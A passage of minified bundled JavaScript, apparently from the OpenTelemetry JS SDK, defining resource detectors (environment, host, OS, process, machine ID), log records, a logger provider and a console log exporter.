d4A.getStringListFromEnv}});Object.defineProperty(Wq,"otperformance",{enumerable:!0,get:function(){return d4A.otperformance}});var sX9=Uk4();Object.defineProperty(Wq,"CompositePropagator",{enumerable:!0,get:function(){return sX9.CompositePropagator}});var w91=KC4();Object.defineProperty(Wq,"TRACE_PARENT_HEADER",{enumerable:!0,get:function(){return w91.TRACE_PARENT_HEADER}});Object.defineProperty(Wq,"TRACE_STATE_HEADER",{enumerable:!0,get:function(){return w91.TRACE_STATE_HEADER}});Object.defineProperty(Wq,"W3CTraceContextPropagator",{enumerable:!0,get:function(){return w91.W3CTraceContextPropagator}});Object.defineProperty(Wq,"parseTraceParent",{enumerable:!0,get:function(){return w91.parseTraceParent}});var H91=wC4();Object.defineProperty(Wq,"RPCType",{enumerable:!0,get:function(){return H91.RPCType}});Object.defineProperty(Wq,"deleteRPCMetadata",{enumerable:!0,get:function(){return H91.deleteRPCMetadata}});Object.defineProperty(Wq,"getRPCMetadata",{enumerable:!0,get:function(){return H91.getRPCMetadata}});Object.defineProperty(Wq,"setRPCMetadata",{enumerable:!0,get:function(){return H91.setRPCMetadata}});var X36=TIA();Object.defineProperty(Wq,"isTracingSuppressed",{enumerable:!0,get:function(){return X36.isTracingSuppressed}});Object.defineProperty(Wq,"suppressTracing",{enumerable:!0,get:function(){return X36.suppressTracing}});Object.defineProperty(Wq,"unsuppressTracing",{enumerable:!0,get:function(){return X36.unsuppressTracing}});var tX9=H36();Object.defineProperty(Wq,"TraceState",{enumerable:!0,get:function(){return tX9.TraceState}});var eX9=VC4();Object.defineProperty(Wq,"merge",{enumerable:!0,get:function(){return eX9.merge}});var lC4=TC4();Object.defineProperty(Wq,"TimeoutError",{enumerable:!0,get:function(){return lC4.TimeoutError}});Object.defineProperty(Wq,"callWithTimeout",{enumerable:!0,get:function(){return lC4.callWithTimeout}});var iC4=CC4();Object.defineProperty(Wq,"isUrlIgnored",{enumerable:!0,get:function(){return iC4.isUrlIgnored}});Object.defineProperty(Wq,"urlMatches",{enumerable:!0,get:function(){return iC4.urlMatches}});var A$9=xC4();Object.defineProperty(Wq,"BindOnceFuture",{enumerable:!0,get:function(){return A$9.BindOnceFuture}});var K$9=gC4();Object.defineProperty(Wq,"diagLogLevelFromString",{enumerable:!0,get:function(){return K$9.diagLogLevelFromString}});var q$9=pC4();Wq.internal={_export:q$9._export}});var aC4=v((rC4)=>{Object.defineProperty(rC4,"__esModule",{value:!0});rC4.defaultServiceName=void 0;function Y$9(){return`unknown_service:${process.argv0}`}rC4.defaultServiceName=Y$9});var sC4=v(($36)=>{Object.defineProperty($36,"__esModule",{value:!0});$36.defaultServiceName=void 0;var z$9=aC4();Object.defineProperty($36,"defaultServiceName",{enumerable:!0,get:function(){return z$9.defaultServiceName}})});var G36=v((_36)=>{Object.defineProperty(_36,"__esModule",{value:!0});_36.defaultServiceName=void 0;var H$9=sC4();Object.defineProperty(_36,"defaultServiceName",{enumerable:!0,get:function(){return H$9.defaultServiceName}})});var AL4=v((tC4)=>{Object.defineProperty(tC4,"__esModule",{value:!0});tC4.identity=tC4.isPromiseLike=void 0;var O$9=(A)=>{return A!==null&&typeof A==="object"&&typeof A.then==="function"};tC4.isPromiseLike=O$9;function X$9(A){return A}tC4.identity=X$9});var D36=v((qL4)=>{Object.defineProperty(qL4,"__esModule",{value:!0});qL4.defaultResource=qL4.emptyResource=qL4.resourceFromDetectedResource=qL4.resourceFromAttributes=void 0;var LIA=RK(),Z36=P9(),c4A=Q4A(),_$9=G36(),CIA=AL4();class RIA{_rawAttributes;_asyncAttributesPending=!1;_schemaUrl;_memoizedAttributes;static FromAttributeList(A,K){let q=new RIA({},K);return q._rawAttributes=KL4(A),q._asyncAttributesPending=A.filter(([Y,z])=>(0,CIA.isPromiseLike)(z)).length>0,q}constructor(A,K){let q=A.attributes??{};this._rawAttributes=Object.entries(q).map(([Y,z])=>{if((0,CIA.isPromiseLike)(z))this._asyncAttributesPending=!0;return[Y,z]}),this._rawAttributes=KL4(this._rawAttributes),this._schemaUrl=D$9(K?.schemaUrl)}get asyncAttributesPending(){return this._asyncAttributesPending}async waitForAsyncAttributes(){if(!this.asyncAttributesPending)return;for(let A=0;A<this._rawAttributes.length;A++){let[K,q]=this._rawAttributes[A];this._rawAttributes[A]=[K,(0,CIA.isPromiseLike)(q)?await q:q]}this._asyncAttributesPending=!1}get attributes(){if(this.asyncAttributesPending)LIA.diag.error("Accessing resource attributes before async attributes settled");if(this._memoizedAttributes)return this._memoizedAttributes;let A={};for(let[K,q]of this._rawAttributes){if((0,CIA.isPromiseLike)(q)){LIA.diag.debug(`Unsettled resource attribute ${K} skipped`);continue}if(q!=null)A[K]??=q}if(!this._asyncAttributesPending)this._memoizedAttributes=A;return A}getRawAttributes(){return this._rawAttributes}get schemaUrl(){return this._schemaUrl}merge(A){if(A==null)return this;let K=j$9(this,A),q=K?{schemaUrl:K}:void 0;return RIA.FromAttributeList([...A.getRawAttributes(),...this.getRawAttributes()],q)}}function W36(A,K){return RIA.FromAttributeList(Object.entries(A),K)}qL4.resourceFromAttributes=W36;function G$9(A,K){return new RIA(A,K)}qL4.resourceFromDetectedResource=G$9;function Z$9(){return W36({})}qL4.emptyResource=Z$9;function W$9(){return W36({[c4A.ATTR_SERVICE_NAME]:(0,_$9.defaultServiceName)(),[c4A.ATTR_TELEMETRY_SDK_LANGUAGE]:Z36.SDK_INFO[c4A.ATTR_TELEMETRY_SDK_LANGUAGE],[c4A.ATTR_TELEMETRY_SDK_NAME]:Z36.SDK_INFO[c4A.ATTR_TELEMETRY_SDK_NAME],[c4A.ATTR_TELEMETRY_SDK_VERSION]:Z36.SDK_INFO[c4A.ATTR_TELEMETRY_SDK_VERSION]})}qL4.defaultResource=W$9;function KL4(A){return A.map(([K,q])=>{if((0,CIA.isPromiseLike)(q))return[K,q.catch((Y)=>{LIA.diag.debug("promise rejection for resource attribute: %s - %s",K,Y);return})];return[K,q]})}function D$9(A){if(typeof A==="string"||A===void 0)return A;LIA.diag.warn("Schema URL must be string or undefined, got %s. Schema URL will be ignored.",A);return}function j$9(A,K){let q=A?.schemaUrl,Y=K?.schemaUrl,z=q===void 0||q==="",w=Y===void 0||Y==="";if(z)return Y;if(w)return q;if(q===Y)return q;LIA.diag.warn('Schema URL merge conflict: old resource has "%s", updating resource has "%s". Resulting resource will have undefined Schema URL.',q,Y);return}});var JL4=v((wL4)=>{Object.defineProperty(wL4,"__esModule",{value:!0});wL4.detectResources=void 0;var zL4=RK(),j36=D36(),f$9=(A={})=>{return(A.detectors||[]).map((q)=>{try{let Y=(0,j36.resourceFromDetectedResource)(q.detect(A));return zL4.diag.debug(`${q.constructor.name} found resource.`,Y),Y}catch(Y){return zL4.diag.debug(`${q.constructor.name} failed: ${Y.message}`),(0,j36.emptyResource)()}}).reduce((q,Y)=>q.merge(Y),(0,j36.emptyResource)())};wL4.detectResources=f$9});var GL4=v(($L4)=>{Object.defineProperty($L4,"__esModule",{value:!0});$L4.envDetector=void 0;var N$9=RK(),T$9=Q4A(),OL4=P9();class XL4{_MAX_LENGTH=255;_COMMA_SEPARATOR=",";_LABEL_KEY_VALUE_SPLITTER="=";_ERROR_MESSAGE_INVALID_CHARS="should be a ASCII string with a length greater than 0 and not exceed "+this._MAX_LENGTH+" characters.";_ERROR_MESSAGE_INVALID_VALUE="should be a ASCII string with a length not exceed "+this._MAX_LENGTH+" characters.";detect(A){let K={},q=(0,OL4.getStringFromEnv)("OTEL_RESOURCE_ATTRIBUTES"),Y=(0,OL4.getStringFromEnv)("OTEL_SERVICE_NAME");if(q)try{let z=this._parseResourceAttributes(q);Object.assign(K,z)}catch(z){N$9.diag.debug(`EnvDetector failed: ${z.message}`)}if(Y)K[T$9.ATTR_SERVICE_NAME]=Y;return{attributes:K}}_parseResourceAttributes(A){if(!A)return{};let K={},q=A.split(this._COMMA_SEPARATOR,-1);for(let Y of q){let z=Y.split(this._LABEL_KEY_VALUE_SPLITTER,-1);if(z.length!==2)continue;let[w,H]=z;if(w=w.trim(),H=H.trim().split(/^"|"$/).join(""),!this._isValidAndNotEmpty(w))throw Error(`Attribute key ${this._ERROR_MESSAGE_INVALID_CHARS}`);if(!this._isValid(H))throw Error(`Attribute value ${this._ERROR_MESSAGE_INVALID_VALUE}`);K[w]=decodeURIComponent(H)}return K}_isValid(A){return A.length<=this._MAX_LENGTH&&this._isBaggageOctetString(A)}_isBaggageOctetString(A){for(let K=0;K<A.length;K++){let q=A.charCodeAt(K);if(q<33||q===44||q===59||q===92||q>126)return!1}return!0}_isValidAndNotEmpty(A){return A.length>0&&this._isValid(A)}}$L4.envDetector=new XL4});var yIA=v((ZL4)=>{Object.defineProperty(ZL4,"__esModule",{value:!0});ZL4.ATTR_WEBENGINE_VERSION=ZL4.ATTR_WEBENGINE_NAME=ZL4.ATTR_WEBENGINE_DESCRIPTION=ZL4.ATTR_SERVICE_NAMESPACE=ZL4.ATTR_SERVICE_INSTANCE_ID=ZL4.ATTR_PROCESS_RUNTIME_VERSION=ZL4.ATTR_PROCESS_RUNTIME_NAME=ZL4.ATTR_PROCESS_RUNTIME_DESCRIPTION=ZL4.ATTR_PROCESS_PID=ZL4.ATTR_PROCESS_OWNER=ZL4.ATTR_PROCESS_EXECUTABLE_PATH=ZL4.ATTR_PROCESS_EXECUTABLE_NAME=ZL4.ATTR_PROCESS_COMMAND_ARGS=ZL4.ATTR_PROCESS_COMMAND=ZL4.ATTR_OS_VERSION=ZL4.ATTR_OS_TYPE=ZL4.ATTR_K8S_POD_NAME=ZL4.ATTR_K8S_NAMESPACE_NAME=ZL4.ATTR_K8S_DEPLOYMENT_NAME=ZL4.ATTR_K8S_CLUSTER_NAME=ZL4.ATTR_HOST_TYPE=ZL4.ATTR_HOST_NAME=ZL4.ATTR_HOST_IMAGE_VERSION=ZL4.ATTR_HOST_IMAGE_NAME=ZL4.ATTR_HOST_IMAGE_ID=ZL4.ATTR_HOST_ID=ZL4.ATTR_HOST_ARCH=ZL4.ATTR_CONTAINER_NAME=ZL4.ATTR_CONTAINER_IMAGE_TAGS=ZL4.ATTR_CONTAINER_IMAGE_NAME=ZL4.ATTR_CONTAINER_ID=ZL4.ATTR_CLOUD_REGION=ZL4.ATTR_CLOUD_PROVIDER=ZL4.ATTR_CLOUD_AVAILABILITY_ZONE=ZL4.ATTR_CLOUD_ACCOUNT_ID=void 0;ZL4.ATTR_CLOUD_ACCOUNT_ID="cloud.account.id";ZL4.ATTR_CLOUD_AVAILABILITY_ZONE="cloud.availability_zone";ZL4.ATTR_CLOUD_PROVIDER="cloud.provider";ZL4.ATTR_CLOUD_REGION="cloud.region";ZL4.ATTR_CONTAINER_ID="container.id";ZL4.ATTR_CONTAINER_IMAGE_NAME="container.image.name";ZL4.ATTR_CONTAINER_IMAGE_TAGS="container.image.tags";ZL4.ATTR_CONTAINER_NAME="container.name";ZL4.ATTR_HOST_ARCH="host.arch";ZL4.ATTR_HOST_ID="host.id";ZL4.ATTR_HOST_IMAGE_ID="host.image.id";ZL4.ATTR_HOST_IMAGE_NAME="host.image.name";ZL4.ATTR_HOST_IMAGE_VERSION="host.image.version";ZL4.ATTR_HOST_NAME="host.name";ZL4.ATTR_HOST_TYPE="host.type";ZL4.ATTR_K8S_CLUSTER_NAME="k8s.cluster.name";ZL4.ATTR_K8S_DEPLOYMENT_NAME="k8s.deployment.name";ZL4.ATTR_K8S_NAMESPACE_NAME="k8s.namespace.name";ZL4.ATTR_K8S_POD_NAME="k8s.pod.name";ZL4.ATTR_OS_TYPE="os.type";ZL4.ATTR_OS_VERSION="os.version";ZL4.ATTR_PROCESS_COMMAND="process.command";ZL4.ATTR_PROCESS_COMMAND_ARGS="process.command_args";ZL4.ATTR_PROCESS_EXECUTABLE_NAME="process.executable.name";ZL4.ATTR_PROCESS_EXECUTABLE_PATH="process.executable.path";ZL4.ATTR_PROCESS_OWNER="process.owner";ZL4.ATTR_PROCESS_PID="process.pid";ZL4.ATTR_PROCESS_RUNTIME_DESCRIPTION="process.runtime.description";ZL4.ATTR_PROCESS_RUNTIME_NAME="process.runtime.name";ZL4.ATTR_PROCESS_RUNTIME_VERSION="process.runtime.version";ZL4.ATTR_SERVICE_INSTANCE_ID="service.instance.id";ZL4.ATTR_SERVICE_NAMESPACE="service.namespace";ZL4.ATTR_WEBENGINE_DESCRIPTION="webengine.description";ZL4.ATTR_WEBENGINE_NAME="webengine.name";ZL4.ATTR_WEBENGINE_VERSION="webengine.version"});var J91=v((DL4)=>{Object.defineProperty(DL4,"__esModule",{value:!0});DL4.execAsync=void 0;var Y_9=CA("child_process"),z_9=CA("util");DL4.execAsync=z_9.promisify(Y_9.exec)});var VL4=v((ML4)=>{Object.defineProperty(ML4,"__esModule",{value:!0});ML4.getMachineId=void 0;var w_9=J91(),H_9=RK();async function J_9(){try{let K=(await(0,w_9.execAsync)('ioreg -rd1 -c "IOPlatformExpertDevice"')).stdout.split(` `).find((Y)=>Y.includes("IOPlatformUUID"));if(!K)return;let q=K.split('" = "');if(q.length===2)return q[1].slice(0,-1)}catch(A){H_9.diag.debug(`error reading machine id: ${A}`)}return}ML4.getMachineId=J_9});var TL4=v((fL4)=>{Object.defineProperty(fL4,"__esModule",{value:!0});fL4.getMachineId=void 0;var O_9=CA("fs"),X_9=RK();async function $_9(){let A=["/etc/machine-id","/var/lib/dbus/machine-id"];for(let K of A)try{return(await O_9.promises.readFile(K,{encoding:"utf8"})).trim()}catch(q){X_9.diag.debug(`error reading machine id: ${q}`)}return}fL4.getMachineId=$_9});var CL4=v((EL4)=>{Object.defineProperty(EL4,"__esModule",{value:!0});EL4.getMachineId=void 0;var __9=CA("fs"),G_9=J91(),vL4=RK();async function Z_9(){try{return(await __9.promises.readFile("/etc/hostid",{encoding:"utf8"})).trim()}catch(A){vL4.diag.debug(`error reading machine id: ${A}`)}try{return(await(0,G_9.execAsync)("kenv -q smbios.system.uuid")).stdout.trim()}catch(A){vL4.diag.debug(`error reading machine id: ${A}`)}return}EL4.getMachineId=Z_9});var IL4=v((RL4)=>{Object.defineProperty(RL4,"__esModule",{value:!0});RL4.getMachineId=void 0;var LL4=CA("process"),W_9=J91(),D_9=RK();async function j_9(){let K="%windir%\\System32\\REG.exe";if(LL4.arch==="ia32"&&"PROCESSOR_ARCHITEW6432"in LL4.env)K="%windir%\\sysnative\\cmd.exe /c "+K;try{let Y=(await(0,W_9.execAsync)(`${K} QUERY HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Cryptography /v MachineGuid`)).stdout.split("REG_SZ");if(Y.length===2)return Y[1].trim()}catch(q){D_9.diag.debug(`error reading machine id: ${q}`)}return}RL4.getMachineId=j_9});var bL4=v((SL4)=>{Object.defineProperty(SL4,"__esModule",{value:!0});SL4.getMachineId=void 0;var M_9=RK();async function P_9(){M_9.diag.debug("could not read machine-id: unsupported platform");return}SL4.getMachineId=P_9});var BL4=v((xL4)=>{Object.defineProperty(xL4,"__esModule",{value:!0});xL4.getMachineId=void 0;var V_9=CA("process"),l4A;async function f_9(){if(!l4A)switch(V_9.platform){case"darwin":l4A=(await Promise.resolve().then(() => o(VL4()))).getMachineId;break;case"linux":l4A=(await Promise.resolve().then(() => o(TL4()))).getMachineId;break;case"freebsd":l4A=(await Promise.resolve().then(() => o(CL4()))).getMachineId;break;case"win32":l4A=(await Promise.resolve().then(() => o(IL4()))).getMachineId;break;default:l4A=(await Promise.resolve().then(() => o(bL4()))).getMachineId;break}return l4A()}xL4.getMachineId=f_9});var M36=v((mL4)=>{Object.defineProperty(mL4,"__esModule",{value:!0});mL4.normalizeType=mL4.normalizeArch=void 0;var N_9=(A)=>{switch(A){case"arm":return"arm32";case"ppc":return"ppc32";case"x64":return"amd64";default:return A}};mL4.normalizeArch=N_9;var T_9=(A)=>{switch(A){case"sunos":return"solaris";case"win32":return"windows";default:return A}};mL4.normalizeType=T_9});var dL4=v((UL4)=>{Object.defineProperty(UL4,"__esModule",{value:!0});UL4.hostDetector=void 0;var P36=yIA(),FL4=CA("os"),E_9=BL4(),k_9=M36();class QL4{detect(A){return{attributes:{[P36.ATTR_HOST_NAME]:(0,FL4.hostname)(),[P36.ATTR_HOST_ARCH]:(0,k_9.normalizeArch)((0,FL4.arch)()),[P36.ATTR_HOST_ID]:(0,E_9.getMachineId)()}}}}UL4.hostDetector=new QL4});var oL4=v((nL4)=>{Object.defineProperty(nL4,"__esModule",{value:!0});nL4.osDetector=void 0;var cL4=yIA(),lL4=CA("os"),C_9=M36();class iL4{detect(A){return{attributes:{[cL4.ATTR_OS_TYPE]:(0,C_9.normalizeType)((0,lL4.platform)()),[cL4.ATTR_OS_VERSION]:(0,lL4.release)()}}}}nL4.osDetector=new iL4});var eL4=v((sL4)=>{Object.defineProperty(sL4,"__esModule",{value:!0});sL4.processDetector=void 0;var L_9=RK(),UQ=yIA(),R_9=CA("os");class aL4{detect(A){let K={[UQ.ATTR_PROCESS_PID]:process.pid,[UQ.ATTR_PROCESS_EXECUTABLE_NAME]:process.title,[UQ.ATTR_PROCESS_EXECUTABLE_PATH]:process.execPath,[UQ.ATTR_PROCESS_COMMAND_ARGS]:[process.argv[0],...process.execArgv,...process.argv.slice(1)],[UQ.ATTR_PROCESS_RUNTIME_VERSION]:process.versions.node,[UQ.ATTR_PROCESS_RUNTIME_NAME]:"nodejs",[UQ.ATTR_PROCESS_RUNTIME_DESCRIPTION]:"Node.js"};if(process.argv.length>1)K[UQ.ATTR_PROCESS_COMMAND]=process.argv[1];try{let q=R_9.userInfo();K[UQ.ATTR_PROCESS_OWNER]=q.username}catch(q){L_9.diag.debug(`error obtaining process owner: ${q}`)}return{attributes:K}}}sL4.processDetector=new aL4});var YR4=v((KR4)=>{Object.defineProperty(KR4,"__esModule",{value:!0});KR4.serviceInstanceIdDetector=void 0;var y_9=yIA(),I_9=CA("crypto");class AR4{detect(A){return{attributes:{[y_9.ATTR_SERVICE_INSTANCE_ID]:(0,I_9.randomUUID)()}}}}KR4.serviceInstanceIdDetector=new AR4});var zR4=v((sXA)=>{Object.defineProperty(sXA,"__esModule",{value:!0});sXA.serviceInstanceIdDetector=sXA.processDetector=sXA.osDetector=sXA.hostDetector=void 0;var S_9=dL4();Object.defineProperty(sXA,"hostDetector",{enumerable:!0,get:function(){return S_9.hostDetector}});var h_9=oL4();Object.defineProperty(sXA,"osDetector",{enumerable:!0,get:function(){return h_9.osDetector}});var b_9=eL4();Object.defineProperty(sXA,"processDetector",{enumerable:!0,get:function(){return b_9.processDetector}});var x_9=YR4();Object.defineProperty(sXA,"serviceInstanceIdDetector",{enumerable:!0,get:function(){return x_9.serviceInstanceIdDetector}})});var wR4=v((tXA)=>{Object.defineProperty(tXA,"__esModule",{value:!0});tXA.serviceInstanceIdDetector=tXA.processDetector=tXA.osDetector=tXA.hostDetector=void 0;var O91=zR4();Object.defineProperty(tXA,"hostDetector",{enumerable:!0,get:function(){return O91.hostDetector}});Object.defineProperty(tXA,"osDetector",{enumerable:!0,get:function(){return O91.osDetector}});Object.defineProperty(tXA,"processDetector",{enumerable:!0,get:function(){return O91.processDetector}});Object.defineProperty(tXA,"serviceInstanceIdDetector",{enumerable:!0,get:function(){return O91.serviceInstanceIdDetector}})});var OR4=v((HR4)=>{Object.defineProperty(HR4,"__esModule",{value:!0});HR4.noopDetector=HR4.NoopDetector=void 0;class V36{detect(){return{attributes:{}}}}HR4.NoopDetector=V36;HR4.noopDetector=new V36});var XR4=v((Lr)=>{Object.defineProperty(Lr,"__esModule",{value:!0});Lr.noopDetector=Lr.serviceInstanceIdDetector=Lr.processDetector=Lr.osDetector=Lr.hostDetector=Lr.envDetector=void 0;var g_9=GL4();Object.defineProperty(Lr,"envDetector",{enumerable:!0,get:function(){return g_9.envDetector}});var X91=wR4();Object.defineProperty(Lr,"hostDetector",{enumerable:!0,get:function(){return X91.hostDetector}});Object.defineProperty(Lr,"osDetector",{enumerable:!0,get:function(){return X91.osDetector}});Object.defineProperty(Lr,"processDetector",{enumerable:!0,get:function(){return X91.processDetector}});Object.defineProperty(Lr,"serviceInstanceIdDetector",{enumerable:!0,get:function(){return X91.serviceInstanceIdDetector}});var F_9=OR4();Object.defineProperty(Lr,"noopDetector",{enumerable:!0,get:function(){return F_9.noopDetector}})});var eXA=v((nk)=>{Object.defineProperty(nk,"__esModule",{value:!0});nk.defaultServiceName=nk.emptyResource=nk.defaultResource=nk.resourceFromAttributes=nk.serviceInstanceIdDetector=nk.processDetector=nk.osDetector=nk.hostDetector=nk.envDetector=nk.detectResources=void 0;var U_9=JL4();Object.defineProperty(nk,"detectResources",{enumerable:!0,get:function(){return U_9.detectResources}});var IIA=XR4();Object.defineProperty(nk,"envDetector",{enumerable:!0,get:function(){return IIA.envDetector}});Object.defineProperty(nk,"hostDetector",{enumerable:!0,get:function(){return IIA.hostDetector}});Object.defineProperty(nk,"osDetector",{enumerable:!0,get:function(){return IIA.osDetector}});Object.defineProperty(nk,"processDetector",{enumerable:!0,get:function(){return IIA.processDetector}});Object.defineProperty(nk,"serviceInstanceIdDetector",{enumerable:!0,get:function(){return IIA.serviceInstanceIdDetector}});var f36=D36();Object.defineProperty(nk,"resourceFromAttributes",{enumerable:!0,get:function(){return f36.resourceFromAttributes}});Object.defineProperty(nk,"defaultResource",{enumerable:!0,get:function(){return f36.defaultResource}});Object.defineProperty(nk,"emptyResource",{enumerable:!0,get:function(){return f36.emptyResource}});var p_9=G36();Object.defineProperty(nk,"defaultServiceName",{enumerable:!0,get:function(){return p_9.defaultServiceName}})});var ZR4=v((_R4)=>{Object.defineProperty(_R4,"__esModule",{value:!0});_R4.LogRecordImpl=void 0;var i4A=RK(),$91=P9();class $R4{hrTime;hrTimeObserved;spanContext;resource;instrumentationScope;attributes={};_severityText;_severityNumber;_body;_eventName;totalAttributesCount=0;_isReadonly=!1;_logRecordLimits;set severityText(A){if(this._isLogRecordReadonly())return;this._severityText=A}get severityText(){return this._severityText}set severityNumber(A){if(this._isLogRecordReadonly())return;this._severityNumber=A}get severityNumber(){return this._severityNumber}set body(A){if(this._isLogRecordReadonly())return;this._body=A}get body(){return this._body}get eventName(){return this._eventName}set eventName(A){if(this._isLogRecordReadonly())return;this._eventName=A}get droppedAttributesCount(){return this.totalAttributesCount-Object.keys(this.attributes).length}constructor(A,K,q){let{timestamp:Y,observedTimestamp:z,eventName:w,severityNumber:H,severityText:J,body:O,attributes:X={},context:$}=q,_=Date.now();if(this.hrTime=(0,$91.timeInputToHrTime)(Y??_),this.hrTimeObserved=(0,$91.timeInputToHrTime)(z??_),$){let G=i4A.trace.getSpanContext($);if(G&&i4A.isSpanContextValid(G))this.spanContext=G}this.severityNumber=H,this.severityText=J,this.body=O,this.resource=A.resource,this.instrumentationScope=K,this._logRecordLimits=A.logRecordLimits,this._eventName=w,this.setAttributes(X)}setAttribute(A,K){if(this._isLogRecordReadonly())return this;if(K===null)return this;if(A.length===0)return i4A.diag.warn(`Invalid attribute key: ${A}`),this;if(!(0,$91.isAttributeValue)(K)&&!(typeof K==="object"&&!Array.isArray(K)&&Object.keys(K).length>0))return i4A.diag.warn(`Invalid attribute value set for key: ${A}`),this;if(this.totalAttributesCount+=1,Object.keys(this.attributes).length>=this._logRecordLimits.attributeCountLimit&&!Object.prototype.hasOwnProperty.call(this.attributes,A)){if(this.droppedAttributesCount===1)i4A.diag.warn("Dropping extra attributes.");return this}if((0,$91.isAttributeValue)(K))this.attributes[A]=this._truncateToSize(K);else this.attributes[A]=K;return this}setAttributes(A){for(let[K,q]of Object.entries(A))this.setAttribute(K,q);return this}setBody(A){return this.body=A,this}setEventName(A){return this.eventName=A,this}setSeverityNumber(A){return this.severityNumber=A,this}setSeverityText(A){return this.severityText=A,this}_makeReadonly(){this._isReadonly=!0}_truncateToSize(A){let K=this._logRecordLimits.attributeValueLengthLimit;if(K<=0)return i4A.diag.warn(`Attribute value limit must be positive, got ${K}`),A;if(typeof A==="string")return this._truncateToLimitUtil(A,K);if(Array.isArray(A))return A.map((q)=>typeof q==="string"?this._truncateToLimitUtil(q,K):q);return A}_truncateToLimitUtil(A,K){if(A.length<=K)return A;return A.substring(0,K)}_isLogRecordReadonly(){if(this._isReadonly)i4A.diag.warn("Can not execute the operation on emitted log record");return this._isReadonly}}_R4.LogRecordImpl=$R4});var MR4=v((DR4)=>{Object.defineProperty(DR4,"__esModule",{value:!0});DR4.Logger=void 0;var c_9=RK(),l_9=ZR4();class WR4{instrumentationScope;_sharedState;constructor(A,K){this.instrumentationScope=A,this._sharedState=K}emit(A){let K=A.context||c_9.context.active(),q=new l_9.LogRecordImpl(this._sharedState,this.instrumentationScope,{context:K,...A});this._sharedState.activeProcessor.onEmit(q,K),q._makeReadonly()}}DR4.Logger=WR4});var fR4=v((PR4)=>{Object.defineProperty(PR4,"__esModule",{value:!0});PR4.reconfigureLimits=PR4.loadDefaultConfig=void 0;var A$A=P9();function i_9(){return{forceFlushTimeoutMillis:30000,logRecordLimits:{attributeValueLengthLimit:(0,A$A.getNumberFromEnv)("OTEL_LOGRECORD_ATTRIBUTE_VALUE_LENGTH_LIMIT")??1/0,attributeCountLimit:(0,A$A.getNumberFromEnv)("OTEL_LOGRECORD_ATTRIBUTE_COUNT_LIMIT")??128},includeTraceContext:!0}}PR4.loadDefaultConfig=i_9;function n_9(A){return{attributeCountLimit:A.attributeCountLimit??(0,A$A.getNumberFromEnv)("OTEL_LOGRECORD_ATTRIBUTE_COUNT_LIMIT")??(0,A$A.getNumberFromEnv)("OTEL_ATTRIBUTE_COUNT_LIMIT")??128,attributeValueLengthLimit:A.attributeValueLengthLimit??(0,A$A.getNumberFromEnv)("OTEL_LOGRECORD_ATTRIBUTE_VALUE_LENGTH_LIMIT")??(0,A$A.getNumberFromEnv)("OTEL_ATTRIBUTE_VALUE_LENGTH_LIMIT")??1/0}}PR4.reconfigureLimits=n_9});var ER4=v((TR4)=>{Object.defineProperty(TR4,"__esModule",{value:!0});TR4.NoopLogRecordProcessor=void 0;class NR4{forceFlush(){return Promise.resolve()}onEmit(A,K){}shutdown(){return Promise.resolve()}}TR4.NoopLogRecordProcessor=NR4});var RR4=v((CR4)=>{Object.defineProperty(CR4,"__esModule",{value:!0});CR4.MultiLogRecordProcessor=void 0;var o_9=P9();class kR4{processors;forceFlushTimeoutMillis;constructor(A,K){this.processors=A,this.forceFlushTimeoutMillis=K}async forceFlush(){let A=this.forceFlushTimeoutMillis;await Promise.all(this.processors.map((K)=>(0,o_9.callWithTimeout)(K.forceFlush(),A)))}onEmit(A,K){this.processors.forEach((q)=>q.onEmit(A,K))}async shutdown(){await Promise.all(this.processors.map((A)=>A.shutdown()))}}CR4.MultiLogRecordProcessor=kR4});var hR4=v((IR4)=>{Object.defineProperty(IR4,"__esModule",{value:!0});IR4.LoggerProviderSharedState=void 0;var a_9=ER4(),s_9=RR4();class yR4{resource;forceFlushTimeoutMillis;logRecordLimits;processors;loggers=new Map;activeProcessor;registeredLogRecordProcessors=[];constructor(A,K,q,Y){if(this.resource=A,this.forceFlushTimeoutMillis=K,this.logRecordLimits=q,this.processors=Y,Y.length>0)this.registeredLogRecordProcessors=Y,this.activeProcessor=new s_9.MultiLogRecordProcessor(this.registeredLogRecordProcessors,this.forceFlushTimeoutMillis);else this.activeProcessor=new a_9.NoopLogRecordProcessor}}IR4.LoggerProviderSharedState=yR4});var FR4=v((BR4)=>{Object.defineProperty(BR4,"__esModule",{value:!0});BR4.LoggerProvider=BR4.DEFAULT_LOGGER_NAME=void 0;var _91=RK(),t_9=l56(),e_9=eXA(),bR4=P9(),AG9=MR4(),xR4=fR4(),KG9=hR4();BR4.DEFAULT_LOGGER_NAME="unknown";class uR4{_shutdownOnce;_sharedState;constructor(A={}){let K=(0,bR4.merge)({},(0,xR4.loadDefaultConfig)(),A),q=A.resource??(0,e_9.defaultResource)();this._sharedState=new KG9.LoggerProviderSharedState(q,K.forceFlushTimeoutMillis,(0,xR4.reconfigureLimits)(K.logRecordLimits),A?.processors??[]),this._shutdownOnce=new bR4.BindOnceFuture(this._shutdown,this)}getLogger(A,K,q){if(this._shutdownOnce.isCalled)return _91.diag.warn("A shutdown LoggerProvider cannot provide a Logger"),t_9.NOOP_LOGGER;if(!A)_91.diag.warn("Logger requested without instrumentation scope name.");let Y=A||BR4.DEFAULT_LOGGER_NAME,z=`${Y}@${K||""}:${q?.schemaUrl||""}`;if(!this._sharedState.loggers.has(z))this._sharedState.loggers.set(z,new AG9.Logger({name:Y,version:K,schemaUrl:q?.schemaUrl},this._sharedState));return this._sharedState.loggers.get(z)}forceFlush(){if(this._shutdownOnce.isCalled)return _91.diag.warn("invalid attempt to force flush after LoggerProvider shutdown"),this._shutdownOnce.promise;return this._sharedState.activeProcessor.forceFlush()}shutdown(){if(this._shutdownOnce.isCalled)return _91.diag.warn("shutdown may only be called once per LoggerProvider"),this._shutdownOnce.promise;return this._shutdownOnce.call()}_shutdown(){return this._sharedState.activeProcessor.shutdown()}}BR4.LoggerProvider=uR4});var cR4=v((pR4)=>{Object.defineProperty(pR4,"__esModule",{value:!0});pR4.ConsoleLogRecordExporter=void 0;var QR4=P9();class UR4{export(A,K){this._sendLogRecords(A,K)}shutdown(){return Promise.resolve()}_exportInfo(A){return{resource:{attributes:A.resource.attributes},instrumentationScope:A.instrumentationScope,timestamp:(0,QR4.hrTimeToMicroseconds)(A.hrTime),traceId:A.spanContext?.traceId,spanId:A.spanContext?.spanId,traceFlags:A.spanContext?.traceFlags,severityText:A.severityText,severityNumber:A.severityNumber,body:A.body,attributes:A.attributes}}_sendLogRecords(A,K){for(let q of 